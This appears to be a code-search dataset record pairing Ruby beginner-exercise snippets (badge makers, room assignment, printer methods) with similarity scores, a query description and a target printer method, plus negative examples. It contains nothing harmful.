"def batch_badge_creator(attendee)\n # the below code would work more effectively but since I found it somewhere else I decided to use another method to prove to myself I could do it on my own. Since the collect method saves the results automatically to a new array, it doesnt require the extra step I needed to do with the .each method.\n # attendee.collect do |i|\n # badge_maker(i)\n # end\n\n badges =[]\n attendee.each {|i| badges.push badge_maker(i)}\n return badges\nend",
"def batch_badge_creator(attendees)\n attendees.collect do |attendee|\n badge_maker(attendee)\n end\nend",
"def printer (array)\nrooms = assign_rooms(array)\nnames = batch_badge_creator(array)\nrooms.each do |room1|\n puts room1\nend\nnames.each do |name1|\n puts name1\nend\nend",
"def printer(names_array)\n badges_array = batch_badge_creator(names_array)\n room_assignments_array = assign_rooms(names_array)\n\n num_attendees = names_array.count\n\n for i in (0...num_attendees) do\n puts badges_array[i]\n puts room_assignments_array[i]\n end\n\nend",
"def badge_maker(name)\n\treturn \"Hello, my name is #{name}.\" \nend",
"def greetings(names)\n\tnames.map { |name| \n\t\t\"Hello #{name}!\"\n\t}\nend",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\n end",
"def printer(names)\n batch_badge_creator(names).each { |name| puts name };\n assign_rooms(names).each {|name| puts name};\nend",
"def badge_maker( name )\n return \"Hello, my name is #{name}.\"\nend",
"def badges\n achievements.reduce({}) do |badges, achievement|\n badges.merge(achievement.name => achievement.badges)\n end\n end",
"def badge(*args)\n badge_label(:badge, *args)\n end",
"def badge_maker( name )\n\"Hello, my name is #{name}.\"\nend",
"def add_names(*names)\n @names.push(*names)\n end",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n return \"Hello, my name is #{name}.\"\nend",
"def pbPocketNames; return [\"\",\n _INTL(\"Items\"),\n _INTL(\"Medicine\"),\n _INTL(\"Jermo Balls\"),\n _INTL(\"TMs & HMs\"),\n _INTL(\"Bewwies\"),\n _INTL(\"Mail\"),\n _INTL(\"Battle Items\"),\n _INTL(\"Key Items\")\n]; end",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def roll_call_dwarves(names)\n new_array = []\n names.each.with_index(1) do |name, index|\n new_array << \"#{index}. #{name}\"\n end\n puts new_array.join(\" \")\nend",
"def for_badge(badge); end",
"def badge_maker (name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker (name)\n return \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\";\nend",
"def printer(name)\n #iterate through the batch_badge_creator array and puts current element\n batch_badge_creator(name).each do |attendee|\n puts attendee\n end\n #iterate through the assign_rooms array and puts current element\n assign_rooms(name).each do |room|\n puts room\n end\nend",
"def all_messages\n message = Array.new\n for i in 1..9\n message.push(birth_path_message(i))\n end\n return message\nend",
"def assign_rooms(attendee)\n badges = []\n attendee.each.with_index(1) { |val,index| badges.push \"Hello, #{val}! You'll be assigned to room #{index}!\"}\n return badges\nend",
"def add_badge!( badge, update_badge = true )\n unless @badges.include?( badge )\n @badges << badge\n badge.add_user!( self, false) if update_badge\n end\n return @badges\n end",
"def printer(speakers)\n badges = batch_badge_creator(speakers)\n rooms = assign_rooms(speakers)\n\n badges.each_with_index {|badge,index| puts badge}\n rooms.each_with_index {|room,index| puts room}\n # badges.each_with_index {|badge,index| puts badge[index]}\n # rooms.each_with_index {|room,index| puts room[index]}\nend",
"def printer(array)\n badges = batch_badge_creator(array)\n rooms = assign_rooms(array)\n badges.each{|badge| puts badge}\n rooms.each{|room| puts room}\nend",
"def badges\n end",
"def metric_method_names\n report.metrics.map { |d| ga_to_method_name(d) }\n end"
] |
[
"0.7528532",
"0.7428488",
"0.7384178",
"0.7364546",
"0.7361583",
"0.7300315",
"0.7287902",
"0.7224635",
"0.7204755",
"0.7159929",
"0.71437186",
"0.7088279",
"0.7050833",
"0.7007234",
"0.6985455",
"0.6956322",
"0.6938327",
"0.6930886",
"0.69211257",
"0.688571",
"0.6877331",
"0.6852378",
"0.6742185",
"0.67421657",
"0.67166716",
"0.668269",
"0.6671311",
"0.66382855",
"0.6623172",
"0.6607611",
"0.6502976",
"0.64850116",
"0.6471022",
"0.6458504",
"0.64499176",
"0.6442169",
"0.6429716",
"0.6342964",
"0.633227",
"0.631025",
"0.63077617",
"0.6277117",
"0.6272342",
"0.6268003",
"0.62627244",
"0.6256308",
"0.59032416",
"0.5894173",
"0.58895946",
"0.58181703",
"0.56823397",
"0.56623816",
"0.5661311",
"0.5635024",
"0.562073",
"0.56047916",
"0.55618536",
"0.5534786",
"0.54953873",
"0.54748666",
"0.5450903",
"0.54127413",
"0.5399944",
"0.5399944",
"0.5399944",
"0.5399944",
"0.5399944",
"0.5399944",
"0.5399944",
"0.5399944",
"0.53954226",
"0.5387192",
"0.5380418",
"0.5380418",
"0.5380418",
"0.5368477",
"0.5368477",
"0.5368477",
"0.5368477",
"0.5368477",
"0.5368477",
"0.5368477",
"0.5368477",
"0.5368477",
"0.5368477",
"0.53613186",
"0.5355897",
"0.53542894",
"0.53542894",
"0.53339916",
"0.53339916",
"0.5329929",
"0.53009456",
"0.5300484",
"0.52607614",
"0.5243518",
"0.5230512",
"0.51910096",
"0.51813143",
"0.517612"
] |
0.73640054
|
4
|
output first the results of the batch_badge_creator method and then of the assign_rooms method to the screen.
|
def printer(attendees)
room_assignments = []
rooms = 1
attendees.each do |guest|
puts "Hello, my name is #{guest}."
rooms += 1
end
room_assignments = []
rooms = 1
attendees.each do |guest|
puts "Hello, #{guest}! You'll be assigned to room #{rooms}!"
rooms += 1
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def printer(attendees)\n batch_badge_creator(attendees)\n assign_rooms(attendees)\n\n batch_badge_creator(attendees).each do |badge|\n puts badge\n end\n\n assign_rooms(attendees).each do |room_assignment|\n puts room_assignment\n end\nend",
"def printer(attendees)\n\n batch_badge_creator(attendees).each do |badge_string|\n puts badge_string\n end\n \n assign_rooms(attendees).each do |room_string|\n puts room_string\n end \n \nend",
"def printer (attendees)\n the_badges = batch_badge_creator (attendees)\n the_rooms = assign_rooms (attendees)\n the_badges.each do |x|\n puts \"#{x}\"\n end\n the_rooms.each do |x|\n puts \"#{x}\"\n end\nend",
"def printer(attendees)\nbatch_badge_creator(attendees).each_with_index do |badges|\n puts badges\nend\nassign_rooms(attendees).each_with_index do |room_assignments|\n puts room_assignments\nend\nend",
"def printer(guests)\n batch_badge_creator(guests).map{|greeting| puts greeting}\n assign_rooms(guests).map{|room_assignment| puts room_assignment}\nend",
"def printer(parameter)\n\n badges = batch_badge_creator(parameter) #new variable holding return of #batch_badge_creator method\n rooms = assign_rooms(parameter) #new variable holding return of #assign_rooms method\n\n badges.each do |element| #this loops through badges array...\n puts element #and outputs each element\n end #end for each loop\n\n rooms.each do |element| #this loops through rooms array...\n puts element #and outputs each element\n end #end for each loop\nend",
"def printer(attendees)\n batch_badge_creator(attendees).each do |badge|\n puts badge\n end\n assign_rooms(attendees).each do |room|\n puts room\n end\nend",
"def printer(array) \n batch_badge_creator(array).each do |result|\n puts result\n end\n assign_rooms(array).each do |result|\n puts result\n end\nend",
"def printer(attendees)\n batch_badge_creator(attendees).each do |badge|\n puts badge\n end\n assign_rooms(attendees).each do |assignment|\n puts assignment\nend\nend",
"def printer(attendees)\n badges = batch_badge_creator(attendees)\n rooms = assign_rooms(attendees)\n\n badges.zip(rooms)\n\n badges.zip(rooms).each do |badges, rooms|\n puts badges\n puts rooms\n end\n\nend",
"def printer(attendees)\n batch_badge_creator(attendees).each { |badge| puts badge}\n assign_rooms(attendees).each {|rooms | puts rooms }\nend",
"def printer(attendees)\n badges = batch_badge_creator(attendees)\n badges.each do |badge|\n puts \"#{badge}\"\n end\n\n rooms = assign_rooms(attendees)\n rooms.each do |room|\n puts \"#{room}\"\n end\nend",
"def printer(attendees)\n badge_print = batch_badge_creator(attendees)\n badge_print.each { |badge| puts badge }\n \n room_print = assign_rooms(attendees)\n room_print.each { |room| puts room }\nend",
"def printer(speakers)\n batch_badge_creator(speakers).each do |badge|\n puts badge\n end\n assign_rooms(speakers).each do |room|\n puts room\n end\nend",
"def printer(attendees)\n batch_badge_creator(attendees).each do |x|\n puts x\n end\n assign_rooms(attendees).each do |x|\n puts x\n end\nend",
"def printer(attendees)\n batch_badge_creator(attendees).each do |badge|\n puts badge\n end\n\n assign_rooms(attendees).each do |assignment|\n puts assignment\n end\nend",
"def printer(attendees)\n batch_badge_creator(attendees).each do |badge|\n puts badge\n end\n\n assign_rooms(attendees).each do |assignment|\n puts assignment\n end\nend",
"def printer(attendees)\n batch_badge_creator(attendees).each do |badge|\n puts badge\n end\n\n assign_rooms(attendees).each do |assignment|\n puts assignment\n end\nend",
"def printer(attendees)\n batch_badge_creator(attendees).each do |badge|\n puts badge\n end\n assign_rooms(attendees).each do |assignment|\n puts assignment\n end\nend",
"def printer(attendees)\n batch_badge_creator(attendees).each do |badge|\n puts badge\n end\n assign_rooms(attendees).each do |assignment|\n puts assignment\n end\nend",
"def printer (array)\nrooms = assign_rooms(array)\nnames = batch_badge_creator(array)\nrooms.each do |room1|\n puts room1\nend\nnames.each do |name1|\n puts name1\nend\nend",
"def printer(array)\n badges = batch_badge_creator(array)\n rooms = assign_rooms(array)\n badges.each{|badge| puts badge}\n rooms.each{|room| puts room}\nend",
"def printer(names)\n batch_badge_creator(names).each { |name| puts name };\n assign_rooms(names).each {|name| puts name};\nend",
"def printer(array)\n batch_badge_creator(array).each do |line|\n puts line\n end\n assign_rooms(attendees).each do |room|\n puts room\n end\nend",
"def printer(name)\n #iterate through the batch_badge_creator array and puts current element\n batch_badge_creator(name).each do |attendee|\n puts attendee\n end\n #iterate through the assign_rooms array and puts current element\n assign_rooms(name).each do |room|\n puts room\n end\nend",
"def printer(attendee)\n batch_badge_creator(attendee).each do |x| puts x #interates through the attendee array to out\"puts\" the list of badges created by \"batch_badge_creator\"\n end\n assign_rooms(attendee).each do |x| puts x #interates through the attendee array to out\"puts\" the room assignment list created by \"assign_rooms\"\n end\nend",
"def printer(attendees)\n last_array = batch_badge_creator(attendees)\n last_array2 = assign_rooms(attendees)\n counter = 0\n\n last_array.each do |output1|\n puts last_array[counter]\n puts last_array2[counter]\n counter += 1\n end\n \nend",
"def printer(nameArr)\n b = batch_badge_creator(nameArr)\n d = assign_rooms(nameArr)\n i=0\n i1=0\n while i < b.size\n puts b[i]\n i+=1\n end\n\n while i1 < d.size\n puts d[i1]\n i1+=1\n end\nend",
"def printer(array_speakers)\n batch_badge_creator(array_speakers).each {|badge| puts badge}\n assign_rooms(array_speakers).each {|room| puts room}\nend",
"def printer(attendees)\n # use helper method to print a badge message for every attendee on a separate line\n batch_badge_creator(attendees).each do |badge_message|\n puts badge_message\n end\n # use helper method to print a welcome message for every attendee on a separate line\n assign_rooms(attendees).each do |room_assignment_welcome_message|\n puts room_assignment_welcome_message\n end\nend",
"def printer( names )\n print_all( batch_badge_creator(names))\n print_all( assign_rooms(names))\n\n true # doing this so it doesnt return the last print value\nend",
"def printer(names_array)\n badges_array = batch_badge_creator(names_array)\n room_assignments_array = assign_rooms(names_array)\n\n num_attendees = names_array.count\n\n for i in (0...num_attendees) do\n puts badges_array[i]\n puts room_assignments_array[i]\n end\n\nend",
"def printer(speakers)\n badges = batch_badge_creator(speakers)\n rooms = assign_rooms(speakers)\n\n badges.each_with_index {|badge,index| puts badge}\n rooms.each_with_index {|room,index| puts room}\n # badges.each_with_index {|badge,index| puts badge[index]}\n # rooms.each_with_index {|room,index| puts room[index]}\nend",
"def printer(array)\n\tbatch_badge_creator(array).each do |badge_list|\n\t\tputs badge_list\n\tend\n\n\tassign_rooms(array).each do |rooms|\n\t\tputs rooms\n\tend\nend",
"def batch_badge_creator( names )\n print_output = []\n names.each do | name |\n print_output << badge_maker( name ) \n end\n print_output # return the list ready for printing\nend",
"def printer (attendees)\n\tbatch_badge_creator(attendees).each { |attendee| puts attendee}\n\tassign_rooms(attendees).each {|attendee| puts attendee}\nend",
"def printer(attendees)\n attendees.each_with_index do |name, index|\n puts \"#{badge_maker(name)}\"\n puts \"Hello, #{name}! You'll be assigned to room #{index + 1}!\"\n end\nend",
"def output\n print_valid_businesses()\n print_valid_users()\n print_invalid_businesses()\n print_invalid_users()\n print_stats()\n end",
"def batch_badge_creator(names)\n names.each do |name|\n puts \"Hello, my name is #{name}.\"\n end\nend",
"def batch_badge_creator(guests)\n guests.map { |name| \"Hello, my name is #{name}.\"}\n\nend",
"def results\r\n print_books\r\n print_toys\r\n print_classes\r\n end",
"def batch_badge_creator(speaker_list)\n badge_messages = []\n speaker_list.each {|name| badge_messages << \"Hello, my name is #{name}.\"}\n badge_messages\nend",
"def print_results\n UI.puts results_message\n end",
"def make_draw(round, format)\n\t\t\t@num_rooms_assigned = 0;\n\t\t\tround.tournament.update(progress: 0.0); #reset progress to 0\n\t allocate_rooms(sort_teams_and_adjs(round), round, format); #make rooms\n\t\tend",
"def batch_badge_creator(speakers)\n speakers.map do |speaker|\n \"Hello, my name is #{speaker}.\"\n end\nend",
"def write_to_screen!\n puts report_title\n puts report_body.lines.take(show_count)\n end",
"def batch_badge_creator(speakers)\n badge_messages = []\n for speaker in speakers do\n badge_messages << \"Hello, my name is #{speaker}.\" \n end\n return badge_messages\nend",
"def print_info\n\n puts \"\\e[H\\e[2J\" # clear terminal screen\n\n # print the listing title\n print \"#{@@white}Job Title: #{@@green}#{self.title}\\n\"\n\n\n # print the time left to bid\n print \"\\t#{@@white}Time Left: #{@@green}#{self.time_left}\\n\"\n\n # print the budget for the job if valid\n if self.budget\n print \"\\t#{@@white}Budget: #{@@green}#{self.budget}\\n\"\n end\n\n # print the tags associated with the listing\n print \"\\t#{@@white}Tags: #{@@green}#{self.tags.join(',')}\\n\"\n\n # print the number of bids if valid\n if self.bids\n print \"\\n\\t#{@@white}Bids: #{@@green}#{self.bids}\\n\"\n end\n\n # print the average bid if valid\n if self.avg_bid\n print \"\\t#{@@white}Average Bid: #{@@green}#{self.avg_bid}\\n\"\n end\n\n # display the summary of bids at the momment\n print \"\\t#{@@white}Bid Summary: #{@@green}#{self.bid_summary}\\n\" if self.bid_summary\n\n # if we don't have the main description then print the short_description otherwise print the main description\n print \"\\t#{@@white}Description: \\n#{@@green}\"\n if self.description == nil\n # print \"#{self.short_description}\\n\\n\".green # put a .each_line block here and add \\t\\t to space it out properly\n desc = self.short_description\n else\n # print \"#{self.description}\\n\\n\".green\n desc = self.description\n end\n\n # fix the formating issues by indenting each line with tabs twice\n desc.each_line {|line| print \"\\t\\t#{@@green}#{line}\\n\"}\n\n print \"#{@@reset}\"\n end",
"def batch_badge_creator(name)\n name.collect do |badge|\n \"Hello, my name is \" + badge + \".\"\n end\n\nend",
"def batch_badge_creator(attendees)\nbadges = []\nattendees.each do |name|\n badges.push(\"Hello, my name is #{name}.\")\nend\nreturn badges\nend",
"def batch_badge_creator(attendees)\n attendees.collect do |name|\n badge_maker(name)\n# \"Hello, my name is #{name}.\" # don't think I need this\n end\nend",
"def print\n list = @data.display_list\n @labels = []\n @ship = []\n\n @data.label_count, @data.ship_count = update_from_form(list)\n\n if @data.label_count + @data.ship_count == 0\n note \"Nothing to ship\"\n @session.pop\n return\n end\n \n values = {}\n if @data.label_count > 0\n labels = print_labels\n if labels\n values['label_url'] = labels\n else\n error \"Error producing labels. Call Dave\"\n @session.pop\n return\n end\n end\n if @data.ship_count > 0\n statements = print_statements\n if statements\n values['statements_url'] = statements\n else\n error \"Error producing Statements. Call Dave\"\n @session.pop\n return\n end\n end\n\n mark_stuff_shipped(values)\n end",
"def report_lister\n \"Name: #{@name}\\nGuest type: #{@type}\\nLinks: #{@link}\\nRooms booked: #{@rooms.size}\"\n # \"Report run on: \" + Time.now.to_s\n end",
"def batch_badge_creator (names_list)\nlist_badge_msgs=names_list.collect {|name| badge_maker(name)}\nend",
"def render\n puts \"-------------------------------------\"\n @grid.each do |row| \n puts \"| \" + row.map(&:to_s).join(\" | \") + \" |\"\n puts \"-------------------------------------\"\n end\n end",
"def batch_badge_creator(names)\nnames.each do |names_array|\n puts names_array\nend\nend",
"def display_room\n puts \"Room Type: #{@type}\"\n puts \"Price: $#{@price} per night\"\n end",
"def list\n puts \"\\n\\n#{Job.count} job postings found\\n\\n\"\n Job.list.map do |job|\n puts \"#{job.id}. #{job.firstline}\"\n end\n puts menu\n end",
"def render\n outputs.solids << [grid.rect, 100, 100, 100]\n render_zombies\n render_killed_zombies\n render_player\n render_flash\n end",
"def assign_rooms ( names )\n print_output = []\n names.each_with_index do | name, index |\n print_output << \"Hello, #{name}! You'll be assigned to room #{index+1}!\"\n end\n print_output # return the list ready for printing\nend",
"def batch_badge_creator( attendees )\n attendees.map do |attendee|\n \"Hello, my name is #{attendee}.\"\n end\nend",
"def batch_badge_creator(attendees)\n attendees.map do |attendee|\n \"Hello, my name is #{attendee}.\"\n end\nend",
"def stand\n @printer = []\n @printer << \"You Stand.\"\n pl_total\n @action = :end\n run_dealer\n chat\n end",
"def batch_badge_creator(attendees)\n badge_messages = []\n attendees.each do |name|\n badge_messages << badge_maker(name)\n end\n badge_messages\nend",
"def batch_badge_creator(array)\n #empty array\n list = []\n #iterate over the names in array\n array.each do |name|\n #add the badge messages to the list array\n list << badge_maker(name)\n end\n #return list\n list\n#end of batch_badge_creator method\nend",
"def batch_badge_creator(speakers)\n #empty array that needs strings pushed in\n badge_messages = []\n #iteration of speakers array to grab each name\n speakers.each do |guest|\n badge_messages.push(\"Hello, my name is #{guest}.\") # once a name is grabbed it creates a string using that name\n end\n badge_messages\nend",
"def batch_badge_creator(name)\n badge_list = []\n name.each do |n|\n badge_list.push(\"Hello, my name is #{n}.\")\n end\n badge_list\nend",
"def batch_badge_creator(speaker_array)\n speaker_badge_array = []\n speaker_array.each do |speaker| speaker_badge_array << badge_maker(speaker)\n end\n speaker_badge_array\nend",
"def process\n ReportAdapter.new(report: runner.run(run_options), root: root).each do |issue|\n io.print issue.to_json\n io.print \"\\0\"\n end\n end",
"def batch_badge_creator(adendees)\n badges = []\n adendees.each do |atendee|\n badges.push(\"Hello, my name is #{atendee}.\")\n end\n return badges\nend",
"def start_game\n \"I have laid out my ships on the grid.\\n\" +\n \"You now need to lay out your #{@num_to_name[@user_ships.length]} ships.\\n\" +\n \"The #{@user_ships.first.name} is #{@num_to_name[@user_ships.first.length]} units long and the #{@user_ships.last.name} is #{@num_to_name[@user_ships.last.length]} units long.\\n\" +\n \"#{@user_board.render}\"\n end",
"def render\n @groups.each_value do |grp|\n #print(\"#{grp.name} \")\n glCallList( grp.displaylist ) # call precahed operation to save gpu/cpu\n end\n end",
"def all_results(job)\n # if need smaller windows use this print statement\n printf(\"%-40<title>s%-40<salary_range>s%-16<app_deadline>s\\n\",\n title: job.title.to_s, salary_range: job.salary_range.to_s, app_deadline: job.app_deadline.to_s)\n # printf(\"%-40<title>s%-35<department>s%-40<salary_range>s%-20<app_deadline>s\\n\",\n # title: job.title.to_s, department: job.department.to_s,\n # salary_range: job.salary_range.to_s, app_deadline: job.app_deadline.to_s)\n end",
"def batch_badge_creator(attendees)\n greet_attendees = []\n attendees.each do |name|\n greet_attendees.push(\"Hello, my name is #{name}.\")\n end\n return greet_attendees\nend",
"def print_employer_graphics\n\n # Start new page.\n self.start_new_page()\n\n # Define boxes.\n boxes = [\n { x: 0.25,\n y: 10.75,\n bottom_right: \"\",\n bottom_right_offset: 0 },\n { x: 4.5,\n y: 10.75,\n bottom_right: \"\",\n bottom_right_offset: 0 },\n { x: 0.25,\n y: 5.25,\n bottom_right: \"\",\n bottom_right_offset: 0 },\n { x: 4.5,\n y: 5.25,\n bottom_right: \"L4UPR 5405\",\n bottom_right_offset: 0.175 }\n ]\n\n # Draw boxes.\n boxes.each do |box|\n print_employer_graphics_box(box)\n end\n\n end",
"def batch_badge_creator(array)\n badge_messages = []\n array.each {|name| badge_messages << badge_maker(name)}\n badge_messages\nend",
"def print_s1\n stories.each do |story|\n show_new_story_notification(story[:title], story[:category], story[:upvotes])\n end\nend",
"def print\n puts \"\"\n puts \"\"\n puts \"Generation #{@generation}\"\n puts \"#{@grid.rows} x #{@grid.cols}\"\n @grid.print()\n end",
"def batch_badge_creator(badges)\n array=Array.new\n badges. each do |individuals|\n array=array.push(badge_maker(individuals))\n end\n return array;\n\nend",
"def batch_badge_creator(speakers) # because it takes array as an argument, it will go through each of the array contents\n speakers.collect { |x| badge_maker(x) } #technically, it returns an array of new messages, not really separate messages\nend",
"def report\r\n\t\tputs \"You have picked up the #{@name} of #{@type}!\"\r\n\t\tputs \" \"\r\n\t\tsleep 1\r\n\t\tputs \"Item Number #@@item_number\"\r\n\t\tputs \"Level : #@level\"\r\n\t\tputs \"Strength = #@strength\"\r\n\t\tputs \"Agility = #@agility\"\r\n\t\tputs \"Health = #@health\"\r\n\t\tputs \"Mana = #@mana\"\r\n\t\tputs\" \"\r\n\t\treturn\r\n\tend",
"def batch_badge_creator(names)\n names.collect { |name| \"Hello, my name is #{name}.\"};\nend",
"def batch_badge_creator(attendees)\n attendees.map {|i| \"Hello, my name is #{i}.\"}\nend",
"def students_list_message\n print \"Students list: \\n______________\\n\"\nend",
"def batch \n @batch = BatchJob.find( params[:id] )\n @job_type = JobType.find( @batch.job_type )\n @ocr_engine = OcrEngine.find( @batch.ocr_engine_id )\n @font = @batch.font\n out = render_to_string( :partial => 'batch_tooltip', :layout => false )\n render :text => out.strip\n end",
"def displayAllRooms(roomsArray)\n i = 0\n while i < roomsArray.length()\n puts roomsArray[i].displayInfo()\n i+=1\n end\nend",
"def batch_badge_creator(names)\n names.map {|n| badge_maker(n)}\nend",
"def call\n timer do\n fetch_gems_data\n GemsBond::Printers::HTML.new(gems).call\n GemsBond::Printers::CSV.new(gems).call\n end\n end",
"def batch_badge_creator(attendees)\n new = []\n attendees.each do | name |\n new << badge_maker(name)\n end\nnew\nend",
"def all_rooms\n @rooms.each do |room|\n puts \"Room Number: #{room.number} | Nightly Rate: #{room.cost}\"\n end \n end",
"def render\n puts \" #{(0..7).to_a.join(' ')}\"\n (0..7).each do |row|\n puts \"#{row} #{print_row(@board.grid[row] , row).join('|')}\"\n puts\n end\n end",
"def batch_badge_creator(atendees)\r\n badges = []\r\n atendees.each do |first_name|\r\n badges << badge_maker(first_name)\r\n end\r\n badges\r\n end",
"def batch_badge_creator(array_of_names)\n array_of_badges = []\n array_of_names.each {|name| array_of_badges << \"Hello, my name is #{name}.\"}\n return array_of_badges\nend",
"def render ( )\n @bprints.each do | bp |\n bp.render()\n end\n end",
"def _run_and_output(*args, **kwargs)\n @display_mgr.run_and_output(*args, **kwargs)\n end",
"def render\n\t\t# First let's create an output buffer. This will be \n\t\t# where all of our output lines are stored.\n\t\toutput_buffer = \"\"\n\n\t\t# The outer part of the loop will loop the @height of the board.\n\t\t@height.downto(1) do |row|\n\n\t\t\t# The inner loop will loop through the number of columns there are\n\t\t\t# which will always be 3.\n\t\t\t0.upto(2) do |column|\n\t\t\t\t# I want to use another temporary buffer which will only \n\t\t\t\t# send to the output_buffer when it reaches the height \n\t\t\t\t# (which is also the max width) + 1.\n\t\t\t\ttemp_buffer = \"\"\n\n\t\t\t\t# We're only going to add o's if there are numbers in the column.\n\t\t\t\tif @board[column][-row]\n\t\t\t\t\t@board[column][-row].times {temp_buffer << \"o\"}\n\t\t\t\tend\n\n\t\t\t\t# Either way, add _'s until we're at the right length.\n\t\t\t\tuntil temp_buffer.length == @height+1\n\t\t\t\t\ttemp_buffer << \"_\"\n\t\t\t\tend\n\n\t\t\t\t# Add a space between the columns then push everything to the \n\t\t\t\t# main output buffer.\n\t\t\t\tif column == 2\n\t\t\t\t\toutput_buffer << temp_buffer\n\t\t\t\telse\n\t\t\t\t\toutput_buffer << temp_buffer + \" \"\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# Don't forget to add a new line after the last column\n\t\t\toutput_buffer << \"\\n\"\n\t\tend\n\n\t\t# Now let's add the footer to the output.\n\t\t1.upto(3) do |column|\n\t\t\ttemp_buffer = \"\"\n\t\t\ttemp_buffer << column.to_s\n\t\t\tuntil temp_buffer.length == @height+1\n\t\t\t\ttemp_buffer << \" \"\n\t\t\tend\n\t\t\tif column == 3\n\t\t\t\toutput_buffer << temp_buffer + \"\\n\\n\"\n\t\t\telse\n\t\t\t\toutput_buffer << temp_buffer + \" \"\n\t\t\tend\n\t\tend\n\n\t\t# Finally, print the output_buffer\n\t\tprint output_buffer\n\tend",
"def list_reserved_rooms\n unless @rooms.empty?\n @rooms.each do |key, room|\n puts room.report_lister\n end\n end\n end",
"def output_report\n\t\toutput_start\n\t\toutput_head\n\t\toutput_body_start\n\t\toutput_body\n\t\toutput_body_end\n\t\toutput_end\n\tend",
"def batch_badge_creator(names)\n names.map{|name| badge_maker(name)}\nend",
"def mreport\r\n\t\tsystem (\"clear\")\r\n\t\tputs \"#@name\" + \" the \" + \"#@type \" + \"approaches!!\"\r\n\t\tputs \" \"\r\n\t\tputs \"#@name\" + \" has \" + \"#@health \" + \"health\"\r\n\t\tputs \" \"\r\n\t\tsleep 2\r\n\tend"
] |
[
"0.766134",
"0.7566433",
"0.7514717",
"0.7482323",
"0.7447791",
"0.7406282",
"0.7401359",
"0.73805666",
"0.73527",
"0.7314961",
"0.7273109",
"0.7245728",
"0.7208953",
"0.7207674",
"0.7200175",
"0.7171834",
"0.7171834",
"0.7171834",
"0.7144609",
"0.7144609",
"0.7132256",
"0.70990586",
"0.7092046",
"0.70381874",
"0.68523556",
"0.6839944",
"0.68057775",
"0.67730576",
"0.6752785",
"0.6751371",
"0.66502345",
"0.65329206",
"0.6494295",
"0.649316",
"0.642394",
"0.61145663",
"0.6031221",
"0.5920815",
"0.58596146",
"0.57808864",
"0.5755527",
"0.57033587",
"0.56884366",
"0.5630302",
"0.562386",
"0.5583412",
"0.5473225",
"0.5463446",
"0.5460808",
"0.54374856",
"0.5433932",
"0.54309356",
"0.5407363",
"0.5405631",
"0.540391",
"0.5390696",
"0.5370749",
"0.53501153",
"0.5346727",
"0.5345964",
"0.53418255",
"0.5319031",
"0.5317301",
"0.5315437",
"0.5304132",
"0.5303777",
"0.52997637",
"0.5283498",
"0.52813345",
"0.5278667",
"0.5270449",
"0.5268656",
"0.5244843",
"0.5242505",
"0.5239992",
"0.5238235",
"0.5229766",
"0.5228398",
"0.5207632",
"0.5202492",
"0.5199834",
"0.5192963",
"0.51897496",
"0.51789564",
"0.5170793",
"0.5142686",
"0.5133248",
"0.5130328",
"0.51257336",
"0.51214117",
"0.5120531",
"0.5116704",
"0.5109358",
"0.51068175",
"0.5105863",
"0.5105341",
"0.5102255",
"0.50988346",
"0.50947595",
"0.50821775"
] |
0.56724775
|
43
|
Use callbacks to share common setup or constraints between actions.
|
def set_user_housework
@user_housework = UserHousework.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup_handler\n end",
